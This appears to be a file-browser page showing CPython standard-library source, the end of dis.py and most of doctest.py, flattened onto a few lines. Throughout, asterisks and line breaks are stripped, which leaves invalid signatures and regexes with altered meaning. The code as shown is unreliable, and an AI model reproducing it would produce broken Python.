for LOAD_GLOBAL, LOAD_CONST, etc. argval = arg if op in hasconst: argval, argrepr = _get_const_info(arg, constants) elif op in hasname: argval, argrepr = _get_name_info(arg, names) elif op in hasjrel: argval = offset + 2 + arg argrepr = "to " + repr(argval) elif op in haslocal: argval, argrepr = _get_name_info(arg, varnames) elif op in hascompare: argval = cmp_op[arg] argrepr = argval elif op in hasfree: argval, argrepr = _get_name_info(arg, cells) elif op == FORMAT_VALUE: argval = ((None, str, repr, ascii)[arg & 0x3], bool(arg & 0x4)) argrepr = ('', 'str', 'repr', 'ascii')[arg & 0x3] if argval[1]: if argrepr: argrepr += ', ' argrepr += 'with format' yield Instruction(opname[op], op, arg, argval, argrepr, offset, starts_line, is_jump_target) def disassemble(co, lasti=-1, , file=None): """Disassemble a code object.""" cell_names = co.co_cellvars + co.co_freevars linestarts = dict(findlinestarts(co)) _disassemble_bytes(co.co_code, lasti, co.co_varnames, co.co_names, co.co_consts, cell_names, linestarts, file=file) def _disassemble_recursive(co, , file=None, depth=None): disassemble(co, file=file) if depth is None or depth > 0: if depth is not None: depth = depth - 1 for x in co.co_consts: if hasattr(x, 'co_code'): print(file=file) print("Disassembly of %r:" % (x,), file=file) _disassemble_recursive(x, file=file, depth=depth) def _disassemble_bytes(code, lasti=-1, varnames=None, names=None, constants=None, cells=None, linestarts=None, , file=None, line_offset=0): # Omit the line number column entirely if we have no line number info show_lineno = linestarts is not None if show_lineno: maxlineno = max(linestarts.values()) + line_offset if maxlineno >= 1000: lineno_width = len(str(maxlineno)) else: lineno_width = 3 else: lineno_width = 0 maxoffset = len(code) - 2 if maxoffset >= 10000: offset_width = len(str(maxoffset)) else: offset_width = 4 for instr in _get_instructions_bytes(code, varnames, names, constants, cells, linestarts, line_offset=line_offset): new_source_line = (show_lineno and instr.starts_line is not None and instr.offset > 0) if new_source_line: print(file=file) is_current_instr = instr.offset == lasti print(instr._disassemble(lineno_width, is_current_instr, offset_width), file=file) def _disassemble_str(source, kwargs): """Compile the source string, then disassemble the code object.""" _disassemble_recursive(_try_compile(source, '<dis>'), kwargs) disco = disassemble # XXX For backwards compatibility def _unpack_opargs(code): extended_arg = 0 for i in range(0, len(code), 2): op = code[i] if op >= HAVE_ARGUMENT: arg = code[i+1] \| extended_arg extended_arg = (arg << 8) if op == EXTENDED_ARG else 0 else: arg = None yield (i, op, arg) def findlabels(code): """Detect all offsets in a byte code which are jump targets. Return the list of offsets. """ labels = [] for offset, op, arg in _unpack_opargs(code): if arg is not None: if op in hasjrel: label = offset + 2 + arg elif op in hasjabs: label = arg else: continue if label not in labels: labels.append(label) return labels def findlinestarts(code): """Find the offsets in a byte code which are start of lines in the source. Generate pairs (offset, lineno) as described in Python/compile.c. """ byte_increments = code.co_lnotab[0::2] line_increments = code.co_lnotab[1::2] lastlineno = None lineno = code.co_firstlineno addr = 0 for byte_incr, line_incr in zip(byte_increments, line_increments): if byte_incr: if lineno != lastlineno: yield (addr, lineno) lastlineno = lineno addr += byte_incr if line_incr >= 0x80: # line_increments is an array of 8-bit signed integers line_incr -= 0x100 lineno += line_incr if lineno != lastlineno: yield (addr, lineno) class Bytecode: """The bytecode operations of a piece of code Instantiate this with a function, method, other compiled object, string of code, or a code object (as returned by compile()). Iterating over this yields the bytecode operations as Instruction instances. """ def __init__(self, x, , first_line=None, current_offset=None): self.codeobj = co = _get_code_object(x) if first_line is None: self.first_line = co.co_firstlineno self._line_offset = 0 else: self.first_line = first_line self._line_offset = first_line - co.co_firstlineno self._cell_names = co.co_cellvars + co.co_freevars self._linestarts = dict(findlinestarts(co)) self._original_object = x self.current_offset = current_offset def __iter__(self): co = self.codeobj return _get_instructions_bytes(co.co_code, co.co_varnames, co.co_names, co.co_consts, self._cell_names, self._linestarts, line_offset=self._line_offset) def __repr__(self): return "{}({!r})".format(self.__class__.__name__, self._original_object) @classmethod def from_traceback(cls, tb): """ Construct a Bytecode from the given traceback """ while tb.tb_next: tb = tb.tb_next return cls(tb.tb_frame.f_code, current_offset=tb.tb_lasti) def info(self): """Return formatted information about the code object.""" return _format_code_info(self.codeobj) def dis(self): """Return a formatted view of the bytecode operations.""" co = self.codeobj if self.current_offset is not None: offset = self.current_offset else: offset = -1 with io.StringIO() as output: _disassemble_bytes(co.co_code, varnames=co.co_varnames, names=co.co_names, constants=co.co_consts, cells=self._cell_names, linestarts=self._linestarts, line_offset=self._line_offset, file=output, lasti=offset) return output.getvalue() def _test(): """Simple test program to disassemble a file.""" import argparse parser = argparse.ArgumentParser() parser.add_argument('infile', type=argparse.FileType(), nargs='?', default='-') args = parser.parse_args() with args.infile as infile: source = infile.read() code = compile(source, args.infile.name, "exec") dis(code) if __name__ == "__main__": _test()	19.42 KB	2024-04-17 17:55
📁 distutils	-	2025-10-13 08:00
📄 doctest.py # Module doctest. # Released to the public domain 16-Jan-2001, by Tim Peters (tim@python.org). # Major enhancements and refactoring by: # Jim Fulton # Edward Loper # Provided as-is; use at your own risk; no warranty; no promises; enjoy! r"""Module doctest -- a framework for running examples in docstrings. In simplest use, end each module M to be tested with: def _test(): import doctest doctest.testmod() if __name__ == "__main__": _test() Then running the module as a script will cause the examples in the docstrings to get executed and verified: python M.py This won't display anything unless an example fails, in which case the failing example(s) and the cause(s) of the failure(s) are printed to stdout (why not stderr? because stderr is a lame hack <0.2 wink>), and the final line of output is "Test failed.". Run it with the -v switch instead: python M.py -v and a detailed report of all examples tried is printed to stdout, along with assorted summaries at the end. You can force verbose mode by passing "verbose=True" to testmod, or prohibit it by passing "verbose=False". In either of those cases, sys.argv is not examined by testmod. There are a variety of other ways to run doctests, including integration with the unittest framework, and support for running non-Python text files containing doctests. There are also many ways to override parts of doctest's default behaviors. See the Library Reference Manual for details. """ __docformat__ = 'reStructuredText en' __all__ = [ # 0, Option Flags 'register_optionflag', 'DONT_ACCEPT_TRUE_FOR_1', 'DONT_ACCEPT_BLANKLINE', 'NORMALIZE_WHITESPACE', 'ELLIPSIS', 'SKIP', 'IGNORE_EXCEPTION_DETAIL', 'COMPARISON_FLAGS', 'REPORT_UDIFF', 'REPORT_CDIFF', 'REPORT_NDIFF', 'REPORT_ONLY_FIRST_FAILURE', 'REPORTING_FLAGS', 'FAIL_FAST', # 1. Utility Functions # 2. Example & DocTest 'Example', 'DocTest', # 3. Doctest Parser 'DocTestParser', # 4. Doctest Finder 'DocTestFinder', # 5. Doctest Runner 'DocTestRunner', 'OutputChecker', 'DocTestFailure', 'UnexpectedException', 'DebugRunner', # 6. Test Functions 'testmod', 'testfile', 'run_docstring_examples', # 7. Unittest Support 'DocTestSuite', 'DocFileSuite', 'set_unittest_reportflags', # 8. Debugging Support 'script_from_examples', 'testsource', 'debug_src', 'debug', ] import __future__ import difflib import inspect import linecache import os import pdb import re import sys import traceback import unittest from io import StringIO from collections import namedtuple TestResults = namedtuple('TestResults', 'failed attempted') # There are 4 basic classes: # - Example: a <source, want> pair, plus an intra-docstring line number. # - DocTest: a collection of examples, parsed from a docstring, plus # info about where the docstring came from (name, filename, lineno). # - DocTestFinder: extracts DocTests from a given object's docstring and # its contained objects' docstrings. # - DocTestRunner: runs DocTest cases, and accumulates statistics. # # So the basic picture is: # # list of: # +------+ +---------+ +-------+ # \|object\| --DocTestFinder-> \| DocTest \| --DocTestRunner-> \|results\| # +------+ +---------+ +-------+ # \| Example \| # \| ... \| # \| Example \| # +---------+ # Option constants. OPTIONFLAGS_BY_NAME = {} def register_optionflag(name): # Create a new flag unless `name` is already known. return OPTIONFLAGS_BY_NAME.setdefault(name, 1 << len(OPTIONFLAGS_BY_NAME)) DONT_ACCEPT_TRUE_FOR_1 = register_optionflag('DONT_ACCEPT_TRUE_FOR_1') DONT_ACCEPT_BLANKLINE = register_optionflag('DONT_ACCEPT_BLANKLINE') NORMALIZE_WHITESPACE = register_optionflag('NORMALIZE_WHITESPACE') ELLIPSIS = register_optionflag('ELLIPSIS') SKIP = register_optionflag('SKIP') IGNORE_EXCEPTION_DETAIL = register_optionflag('IGNORE_EXCEPTION_DETAIL') COMPARISON_FLAGS = (DONT_ACCEPT_TRUE_FOR_1 \| DONT_ACCEPT_BLANKLINE \| NORMALIZE_WHITESPACE \| ELLIPSIS \| SKIP \| IGNORE_EXCEPTION_DETAIL) REPORT_UDIFF = register_optionflag('REPORT_UDIFF') REPORT_CDIFF = register_optionflag('REPORT_CDIFF') REPORT_NDIFF = register_optionflag('REPORT_NDIFF') REPORT_ONLY_FIRST_FAILURE = register_optionflag('REPORT_ONLY_FIRST_FAILURE') FAIL_FAST = register_optionflag('FAIL_FAST') REPORTING_FLAGS = (REPORT_UDIFF \| REPORT_CDIFF \| REPORT_NDIFF \| REPORT_ONLY_FIRST_FAILURE \| FAIL_FAST) # Special string markers for use in `want` strings: BLANKLINE_MARKER = '<BLANKLINE>' ELLIPSIS_MARKER = '...' ###################################################################### ## Table of Contents ###################################################################### # 1. Utility Functions # 2. Example & DocTest -- store test cases # 3. DocTest Parser -- extracts examples from strings # 4. DocTest Finder -- extracts test cases from objects # 5. DocTest Runner -- runs test cases # 6. Test Functions -- convenient wrappers for testing # 7. Unittest Support # 8. Debugging Support # 9. Example Usage ###################################################################### ## 1. Utility Functions ###################################################################### def _extract_future_flags(globs): """ Return the compiler-flags associated with the future features that have been imported into the given namespace (globs). """ flags = 0 for fname in __future__.all_feature_names: feature = globs.get(fname, None) if feature is getattr(__future__, fname): flags \|= feature.compiler_flag return flags def _normalize_module(module, depth=2): """ Return the module specified by `module`. In particular: - If `module` is a module, then return module. - If `module` is a string, then import and return the module with that name. - If `module` is None, then return the calling module. The calling module is assumed to be the module of the stack frame at the given depth in the call stack. """ if inspect.ismodule(module): return module elif isinstance(module, str): return __import__(module, globals(), locals(), [""]) elif module is None: return sys.modules[sys._getframe(depth).f_globals['__name__']] else: raise TypeError("Expected a module, string, or None") def _newline_convert(data): # We have two cases to cover and we need to make sure we do # them in the right order for newline in ('\r\n', '\r'): data = data.replace(newline, '\n') return data def _load_testfile(filename, package, module_relative, encoding): if module_relative: package = _normalize_module(package, 3) filename = _module_relative_path(package, filename) if getattr(package, '__loader__', None) is not None: if hasattr(package.__loader__, 'get_data'): file_contents = package.__loader__.get_data(filename) file_contents = file_contents.decode(encoding) # get_data() opens files as 'rb', so one must do the equivalent # conversion as universal newlines would do. return _newline_convert(file_contents), filename with open(filename, encoding=encoding) as f: return f.read(), filename def _indent(s, indent=4): """ Add the given number of space characters to the beginning of every non-blank line in `s`, and return the result. """ # This regexp matches the start of non-blank lines: return re.sub('(?m)^(?!$)', indent' ', s) def _exception_traceback(exc_info): """ Return a string containing a traceback message for the given exc_info tuple (as returned by sys.exc_info()). """ # Get a traceback message. excout = StringIO() exc_type, exc_val, exc_tb = exc_info traceback.print_exception(exc_type, exc_val, exc_tb, file=excout) return excout.getvalue() # Override some StringIO methods. class _SpoofOut(StringIO): def getvalue(self): result = StringIO.getvalue(self) # If anything at all was written, make sure there's a trailing # newline. There's no way for the expected output to indicate # that a trailing newline is missing. if result and not result.endswith("\n"): result += "\n" return result def truncate(self, size=None): self.seek(size) StringIO.truncate(self) # Worst-case linear-time ellipsis matching. def _ellipsis_match(want, got): """ Essentially the only subtle case: >>> _ellipsis_match('aa...aa', 'aaa') False """ if ELLIPSIS_MARKER not in want: return want == got # Find "the real" strings. ws = want.split(ELLIPSIS_MARKER) assert len(ws) >= 2 # Deal with exact matches possibly needed at one or both ends. startpos, endpos = 0, len(got) w = ws[0] if w: # starts with exact match if got.startswith(w): startpos = len(w) del ws[0] else: return False w = ws[-1] if w: # ends with exact match if got.endswith(w): endpos -= len(w) del ws[-1] else: return False if startpos > endpos: # Exact end matches required more characters than we have, as in # _ellipsis_match('aa...aa', 'aaa') return False # For the rest, we only need to find the leftmost non-overlapping # match for each piece. If there's no overall match that way alone, # there's no overall match period. for w in ws: # w may be '' at times, if there are consecutive ellipses, or # due to an ellipsis at the start or end of `want`. That's OK. # Search for an empty string succeeds, and doesn't change startpos. startpos = got.find(w, startpos, endpos) if startpos < 0: return False startpos += len(w) return True def _comment_line(line): "Return a commented form of the given line" line = line.rstrip() if line: return '# '+line else: return '#' def _strip_exception_details(msg): # Support for IGNORE_EXCEPTION_DETAIL. # Get rid of everything except the exception name; in particular, drop # the possibly dotted module path (if any) and the exception message (if # any). We assume that a colon is never part of a dotted name, or of an # exception name. # E.g., given # "foo.bar.MyError: la di da" # return "MyError" # Or for "abc.def" or "abc.def:\n" return "def". start, end = 0, len(msg) # The exception name must appear on the first line. i = msg.find("\n") if i >= 0: end = i # retain up to the first colon (if any) i = msg.find(':', 0, end) if i >= 0: end = i # retain just the exception name i = msg.rfind('.', 0, end) if i >= 0: start = i+1 return msg[start: end] class _OutputRedirectingPdb(pdb.Pdb): """ A specialized version of the python debugger that redirects stdout to a given stream when interacting with the user. Stdout is not redirected when traced code is executed. """ def __init__(self, out): self.__out = out self.__debugger_used = False # do not play signal games in the pdb pdb.Pdb.__init__(self, stdout=out, nosigint=True) # still use input() to get user input self.use_rawinput = 1 def set_trace(self, frame=None): self.__debugger_used = True if frame is None: frame = sys._getframe().f_back pdb.Pdb.set_trace(self, frame) def set_continue(self): # Calling set_continue unconditionally would break unit test # coverage reporting, as Bdb.set_continue calls sys.settrace(None). if self.__debugger_used: pdb.Pdb.set_continue(self) def trace_dispatch(self, args): # Redirect stdout to the given stream. save_stdout = sys.stdout sys.stdout = self.__out # Call Pdb's trace dispatch method. try: return pdb.Pdb.trace_dispatch(self, args) finally: sys.stdout = save_stdout # [XX] Normalize with respect to os.path.pardir? def _module_relative_path(module, test_path): if not inspect.ismodule(module): raise TypeError('Expected a module: %r' % module) if test_path.startswith('/'): raise ValueError('Module-relative files may not have absolute paths') # Normalize the path. On Windows, replace "/" with "\". test_path = os.path.join((test_path.split('/'))) # Find the base directory for the path. if hasattr(module, '__file__'): # A normal module/package basedir = os.path.split(module.__file__)[0] elif module.__name__ == '__main__': # An interactive session. if len(sys.argv)>0 and sys.argv[0] != '': basedir = os.path.split(sys.argv[0])[0] else: basedir = os.curdir else: if hasattr(module, '__path__'): for directory in module.__path__: fullpath = os.path.join(directory, test_path) if os.path.exists(fullpath): return fullpath # A module w/o __file__ (this includes builtins) raise ValueError("Can't resolve paths relative to the module " "%r (it has no __file__)" % module.__name__) # Combine the base directory and the test path. return os.path.join(basedir, test_path) ###################################################################### ## 2. Example & DocTest ###################################################################### ## - An "example" is a <source, want> pair, where "source" is a ## fragment of source code, and "want" is the expected output for ## "source." The Example class also includes information about ## where the example was extracted from. ## ## - A "doctest" is a collection of examples, typically extracted from ## a string (such as an object's docstring). The DocTest class also ## includes information about where the string was extracted from. class Example: """ A single doctest example, consisting of source code and expected output. `Example` defines the following attributes: - source: A single Python statement, always ending with a newline. The constructor adds a newline if needed. - want: The expected output from running the source code (either from stdout, or a traceback in case of exception). `want` ends with a newline unless it's empty, in which case it's an empty string. The constructor adds a newline if needed. - exc_msg: The exception message generated by the example, if the example is expected to generate an exception; or `None` if it is not expected to generate an exception. This exception message is compared against the return value of `traceback.format_exception_only()`. `exc_msg` ends with a newline unless it's `None`. The constructor adds a newline if needed. - lineno: The line number within the DocTest string containing this Example where the Example begins. This line number is zero-based, with respect to the beginning of the DocTest. - indent: The example's indentation in the DocTest string. I.e., the number of space characters that precede the example's first prompt. - options: A dictionary mapping from option flags to True or False, which is used to override default options for this example. Any option flags not contained in this dictionary are left at their default value (as specified by the DocTestRunner's optionflags). By default, no options are set. """ def __init__(self, source, want, exc_msg=None, lineno=0, indent=0, options=None): # Normalize inputs. if not source.endswith('\n'): source += '\n' if want and not want.endswith('\n'): want += '\n' if exc_msg is not None and not exc_msg.endswith('\n'): exc_msg += '\n' # Store properties. self.source = source self.want = want self.lineno = lineno self.indent = indent if options is None: options = {} self.options = options self.exc_msg = exc_msg def __eq__(self, other): if type(self) is not type(other): return NotImplemented return self.source == other.source and \ self.want == other.want and \ self.lineno == other.lineno and \ self.indent == other.indent and \ self.options == other.options and \ self.exc_msg == other.exc_msg def __hash__(self): return hash((self.source, self.want, self.lineno, self.indent, self.exc_msg)) class DocTest: """ A collection of doctest examples that should be run in a single namespace. Each `DocTest` defines the following attributes: - examples: the list of examples. - globs: The namespace (aka globals) that the examples should be run in. - name: A name identifying the DocTest (typically, the name of the object whose docstring this DocTest was extracted from). - filename: The name of the file that this DocTest was extracted from, or `None` if the filename is unknown. - lineno: The line number within filename where this DocTest begins, or `None` if the line number is unavailable. This line number is zero-based, with respect to the beginning of the file. - docstring: The string that the examples were extracted from, or `None` if the string is unavailable. """ def __init__(self, examples, globs, name, filename, lineno, docstring): """ Create a new DocTest containing the given examples. The DocTest's globals are initialized with a copy of `globs`. """ assert not isinstance(examples, str), \ "DocTest no longer accepts str; use DocTestParser instead" self.examples = examples self.docstring = docstring self.globs = globs.copy() self.name = name self.filename = filename self.lineno = lineno def __repr__(self): if len(self.examples) == 0: examples = 'no examples' elif len(self.examples) == 1: examples = '1 example' else: examples = '%d examples' % len(self.examples) return ('<%s %s from %s:%s (%s)>' % (self.__class__.__name__, self.name, self.filename, self.lineno, examples)) def __eq__(self, other): if type(self) is not type(other): return NotImplemented return self.examples == other.examples and \ self.docstring == other.docstring and \ self.globs == other.globs and \ self.name == other.name and \ self.filename == other.filename and \ self.lineno == other.lineno def __hash__(self): return hash((self.docstring, self.name, self.filename, self.lineno)) # This lets us sort tests by name: def __lt__(self, other): if not isinstance(other, DocTest): return NotImplemented return ((self.name, self.filename, self.lineno, id(self)) < (other.name, other.filename, other.lineno, id(other))) ###################################################################### ## 3. DocTestParser ###################################################################### class DocTestParser: """ A class used to parse strings containing doctest examples. """ # This regular expression is used to find doctest examples in a # string. It defines three groups: `source` is the source code # (including leading indentation and prompts); `indent` is the # indentation of the first (PS1) line of the source code; and # `want` is the expected output (including leading indentation). _EXAMPLE_RE = re.compile(r''' # Source consists of a PS1 line followed by zero or more PS2 lines. (?P<source> (?:^(?P<indent> [ ]) >>> .) # PS1 line (?:\n [ ] \.\.\. .)) # PS2 lines \n? # Want consists of any non-blank lines that do not start with PS1. (?P<want> (?:(?![ ]$) # Not a blank line (?![ ]>>>) # Not a line starting with PS1 .+$\n? # But any other line )) ''', re.MULTILINE \| re.VERBOSE) # A regular expression for handling `want` strings that contain # expected exceptions. It divides `want` into three pieces: # - the traceback header line (`hdr`) # - the traceback stack (`stack`) # - the exception message (`msg`), as generated by # traceback.format_exception_only() # `msg` may have multiple lines. We assume/require that the # exception message is the first non-indented line starting with a word # character following the traceback header line. _EXCEPTION_RE = re.compile(r""" # Grab the traceback header. Different versions of Python have # said different things on the first traceback line. ^(?P<hdr> Traceback\ $ (?: most\ recent\ call\ last \| innermost\ last ) $ : ) \s $ # toss trailing whitespace on the header. (?P<stack> .?) # don't blink: absorb stuff until... ^ (?P<msg> \w+ .) # a line starts with alphanum. """, re.VERBOSE \| re.MULTILINE \| re.DOTALL) # A callable returning a true value iff its argument is a blank line # or contains a single comment. _IS_BLANK_OR_COMMENT = re.compile(r'^[ ](#.)?$').match def parse(self, string, name='<string>'): """ Divide the given string into examples and intervening text, and return them as a list of alternating Examples and strings. Line numbers for the Examples are 0-based. The optional argument `name` is a name identifying this string, and is only used for error messages. """ string = string.expandtabs() # If all lines begin with the same indentation, then strip it. min_indent = self._min_indent(string) if min_indent > 0: string = '\n'.join([l[min_indent:] for l in string.split('\n')]) output = [] charno, lineno = 0, 0 # Find all doctest examples in the string: for m in self._EXAMPLE_RE.finditer(string): # Add the pre-example text to `output`. output.append(string[charno:m.start()]) # Update lineno (lines before this example) lineno += string.count('\n', charno, m.start()) # Extract info from the regexp match. (source, options, want, exc_msg) = \ self._parse_example(m, name, lineno) # Create an Example, and add it to the list. if not self._IS_BLANK_OR_COMMENT(source): output.append( Example(source, want, exc_msg, lineno=lineno, indent=min_indent+len(m.group('indent')), options=options) ) # Update lineno (lines inside this example) lineno += string.count('\n', m.start(), m.end()) # Update charno. charno = m.end() # Add any remaining post-example text to `output`. output.append(string[charno:]) return output def get_doctest(self, string, globs, name, filename, lineno): """ Extract all doctest examples from the given string, and collect them into a `DocTest` object. `globs`, `name`, `filename`, and `lineno` are attributes for the new `DocTest` object. See the documentation for `DocTest` for more information. """ return DocTest(self.get_examples(string, name), globs, name, filename, lineno, string) def get_examples(self, string, name='<string>'): """ Extract all doctest examples from the given string, and return them as a list of `Example` objects. Line numbers are 0-based, because it's most common in doctests that nothing interesting appears on the same line as opening triple-quote, and so the first interesting line is called \"line 1\" then. The optional argument `name` is a name identifying this string, and is only used for error messages. """ return [x for x in self.parse(string, name) if isinstance(x, Example)] def _parse_example(self, m, name, lineno): """ Given a regular expression match from `_EXAMPLE_RE` (`m`), return a pair `(source, want)`, where `source` is the matched example's source code (with prompts and indentation stripped); and `want` is the example's expected output (with indentation stripped). `name` is the string's name, and `lineno` is the line number where the example starts; both are used for error messages. """ # Get the example's indentation level. indent = len(m.group('indent')) # Divide source into lines; check that they're properly # indented; and then strip their indentation & prompts. source_lines = m.group('source').split('\n') self._check_prompt_blank(source_lines, indent, name, lineno) self._check_prefix(source_lines[1:], ' 'indent + '.', name, lineno) source = '\n'.join([sl[indent+4:] for sl in source_lines]) # Divide want into lines; check that it's properly indented; and # then strip the indentation. Spaces before the last newline should # be preserved, so plain rstrip() isn't good enough. want = m.group('want') want_lines = want.split('\n') if len(want_lines) > 1 and re.match(r' $', want_lines[-1]): del want_lines[-1] # forget final newline & spaces after it self._check_prefix(want_lines, ' 'indent, name, lineno + len(source_lines)) want = '\n'.join([wl[indent:] for wl in want_lines]) # If `want` contains a traceback message, then extract it. m = self._EXCEPTION_RE.match(want) if m: exc_msg = m.group('msg') else: exc_msg = None # Extract options from the source. options = self._find_options(source, name, lineno) return source, options, want, exc_msg # This regular expression looks for option directives in the # source code of an example. Option directives are comments # starting with "doctest:". Warning: this may give false # positives for string-literals that contain the string # "#doctest:". Eliminating these false positives would require # actually parsing the string; but we limit them by ignoring any # line containing "#doctest:" that is followed* by a quote mark. _OPTION_DIRECTIVE_RE = re.compile(r'#\sdoctest:\s([^\n\'"])$', re.MULTILINE) def _find_options(self, source, name, lineno): """ Return a dictionary containing option overrides extracted from option directives in the given source string. `name` is the string's name, and `lineno` is the line number where the example starts; both are used for error messages. """ options = {} # (note: with the current regexp, this will match at most once:) for m in self._OPTION_DIRECTIVE_RE.finditer(source): option_strings = m.group(1).replace(',', ' ').split() for option in option_strings: if (option[0] not in '+-' or option[1:] not in OPTIONFLAGS_BY_NAME): raise ValueError('line %r of the doctest for %s ' 'has an invalid option: %r' % (lineno+1, name, option)) flag = OPTIONFLAGS_BY_NAME[option[1:]] options[flag] = (option[0] == '+') if options and self._IS_BLANK_OR_COMMENT(source): raise ValueError('line %r of the doctest for %s has an option ' 'directive on a line with no example: %r' % (lineno, name, source)) return options # This regular expression finds the indentation of every non-blank # line in a string. _INDENT_RE = re.compile(r'^([ ])(?=\S)', re.MULTILINE) def _min_indent(self, s): "Return the minimum indentation of any non-blank line in `s`" indents = [len(indent) for indent in self._INDENT_RE.findall(s)] if len(indents) > 0: return min(indents) else: return 0 def _check_prompt_blank(self, lines, indent, name, lineno): """ Given the lines of a source string (including prompts and leading indentation), check to make sure that every prompt is followed by a space character. If any line is not followed by a space character, then raise ValueError. """ for i, line in enumerate(lines): if len(line) >= indent+4 and line[indent+3] != ' ': raise ValueError('line %r of the docstring for %s ' 'lacks blank after %s: %r' % (lineno+i+1, name, line[indent:indent+3], line)) def _check_prefix(self, lines, prefix, name, lineno): """ Check that every line in the given list starts with the given prefix; if any line does not, then raise a ValueError. """ for i, line in enumerate(lines): if line and not line.startswith(prefix): raise ValueError('line %r of the docstring for %s has ' 'inconsistent leading whitespace: %r' % (lineno+i+1, name, line)) ###################################################################### ## 4. DocTest Finder ###################################################################### class DocTestFinder: """ A class used to extract the DocTests that are relevant to a given object, from its docstring and the docstrings of its contained objects. Doctests can currently be extracted from the following object types: modules, functions, classes, methods, staticmethods, classmethods, and properties. """ def __init__(self, verbose=False, parser=DocTestParser(), recurse=True, exclude_empty=True): """ Create a new doctest finder. The optional argument `parser` specifies a class or function that should be used to create new DocTest objects (or objects that implement the same interface as DocTest). The signature for this factory function should match the signature of the DocTest constructor. If the optional argument `recurse` is false, then `find` will only examine the given object, and not any contained objects. If the optional argument `exclude_empty` is false, then `find` will include tests for objects with empty docstrings. """ self._parser = parser self._verbose = verbose self._recurse = recurse self._exclude_empty = exclude_empty def find(self, obj, name=None, module=None, globs=None, extraglobs=None): """ Return a list of the DocTests that are defined by the given object's docstring, or by any of its contained objects' docstrings. The optional parameter `module` is the module that contains the given object. If the module is not specified or is None, then the test finder will attempt to automatically determine the correct module. The object's module is used: - As a default namespace, if `globs` is not specified. - To prevent the DocTestFinder from extracting DocTests from objects that are imported from other modules. - To find the name of the file containing the object. - To help find the line number of the object within its file. Contained objects whose module does not match `module` are ignored. If `module` is False, no attempt to find the module will be made. This is obscure, of use mostly in tests: if `module` is False, or is None but cannot be found automatically, then all objects are considered to belong to the (non-existent) module, so all contained objects will (recursively) be searched for doctests. The globals for each DocTest is formed by combining `globs` and `extraglobs` (bindings in `extraglobs` override bindings in `globs`). A new copy of the globals dictionary is created for each DocTest. If `globs` is not specified, then it defaults to the module's `__dict__`, if specified, or {} otherwise. If `extraglobs` is not specified, then it defaults to {}. """ # If name was not specified, then extract it from the object. if name is None: name = getattr(obj, '__name__', None) if name is None: raise ValueError("DocTestFinder.find: name must be given " "when obj.__name__ doesn't exist: %r" % (type(obj),)) # Find the module that contains the given object (if obj is # a module, then module=obj.). Note: this may fail, in which # case module will be None. if module is False: module = None elif module is None: module = inspect.getmodule(obj) # Read the module's source code. This is used by # DocTestFinder._find_lineno to find the line number for a # given object's docstring. try: file = inspect.getsourcefile(obj) except TypeError: source_lines = None else: if not file: # Check to see if it's one of our special internal "files" # (see __patched_linecache_getlines). file = inspect.getfile(obj) if not file[0]+file[-2:] == '<]>': file = None if file is None: source_lines = None else: if module is not None: # Supply the module globals in case the module was # originally loaded via a PEP 302 loader and # file is not a valid filesystem path source_lines = linecache.getlines(file, module.__dict__) else: # No access to a loader, so assume it's a normal # filesystem path source_lines = linecache.getlines(file) if not source_lines: source_lines = None # Initialize globals, and merge in extraglobs. if globs is None: if module is None: globs = {} else: globs = module.__dict__.copy() else: globs = globs.copy() if extraglobs is not None: globs.update(extraglobs) if '__name__' not in globs: globs['__name__'] = '__main__' # provide a default module name # Recursively explore `obj`, extracting DocTests. tests = [] self._find(tests, obj, name, module, source_lines, globs, {}) # Sort the tests by alpha order of names, for consistency in # verbose-mode output. This was a feature of doctest in Pythons # <= 2.3 that got lost by accident in 2.4. It was repaired in # 2.4.4 and 2.5. tests.sort() return tests def _from_module(self, module, object): """ Return true if the given object is defined in the given module. """ if module is None: return True elif inspect.getmodule(object) is not None: return module is inspect.getmodule(object) elif inspect.isfunction(object): return module.__dict__ is object.__globals__ elif inspect.ismethoddescriptor(object): if hasattr(object, '__objclass__'): obj_mod = object.__objclass__.__module__ elif hasattr(object, '__module__'): obj_mod = object.__module__ else: return True # [XX] no easy way to tell otherwise return module.__name__ == obj_mod elif inspect.isclass(object): return module.__name__ == object.__module__ elif hasattr(object, '__module__'): return module.__name__ == object.__module__ elif isinstance(object, property): return True # [XX] no way not be sure. else: raise ValueError("object must be a class or function") def _find(self, tests, obj, name, module, source_lines, globs, seen): """ Find tests for the given object and any contained objects, and add them to `tests`. """ if self._verbose: print('Finding tests in %s' % name) # If we've already processed this object, then ignore it. if id(obj) in seen: return seen[id(obj)] = 1 # Find a test for this object, and add it to the list of tests. test = self._get_test(obj, name, module, globs, source_lines) if test is not None: tests.append(test) # Look for tests in a module's contained objects. if inspect.ismodule(obj) and self._recurse: for valname, val in obj.__dict__.items(): valname = '%s.%s' % (name, valname) # Recurse to functions & classes. if ((inspect.isroutine(inspect.unwrap(val)) or inspect.isclass(val)) and self._from_module(module, val)): self._find(tests, val, valname, module, source_lines, globs, seen) # Look for tests in a module's __test__ dictionary. if inspect.ismodule(obj) and self._recurse: for valname, val in getattr(obj, '__test__', {}).items(): if not isinstance(valname, str): raise ValueError("DocTestFinder.find: __test__ keys " "must be strings: %r" % (type(valname),)) if not (inspect.isroutine(val) or inspect.isclass(val) or inspect.ismodule(val) or isinstance(val, str)): raise ValueError("DocTestFinder.find: __test__ values " "must be strings, functions, methods, " "classes, or modules: %r" % (type(val),)) valname = '%s.__test__.%s' % (name, valname) self._find(tests, val, valname, module, source_lines, globs, seen) # Look for tests in a class's contained objects. if inspect.isclass(obj) and self._recurse: for valname, val in obj.__dict__.items(): # Special handling for staticmethod/classmethod. if isinstance(val, staticmethod): val = getattr(obj, valname) if isinstance(val, classmethod): val = getattr(obj, valname).__func__ # Recurse to methods, properties, and nested classes. if ((inspect.isroutine(val) or inspect.isclass(val) or isinstance(val, property)) and self._from_module(module, val)): valname = '%s.%s' % (name, valname) self._find(tests, val, valname, module, source_lines, globs, seen) def _get_test(self, obj, name, module, globs, source_lines): """ Return a DocTest for the given object, if it defines a docstring; otherwise, return None. """ # Extract the object's docstring. If it doesn't have one, # then return None (no test for this object). if isinstance(obj, str): docstring = obj else: try: if obj.__doc__ is None: docstring = '' else: docstring = obj.__doc__ if not isinstance(docstring, str): docstring = str(docstring) except (TypeError, AttributeError): docstring = '' # Find the docstring's location in the file. lineno = self._find_lineno(obj, source_lines) # Don't bother if the docstring is empty. if self._exclude_empty and not docstring: return None # Return a DocTest for this object. if module is None: filename = None else: # __file__ can be None for namespace packages. filename = getattr(module, '__file__', None) or module.__name__ if filename[-4:] == ".pyc": filename = filename[:-1] return self._parser.get_doctest(docstring, globs, name, filename, lineno) def _find_lineno(self, obj, source_lines): """ Return a 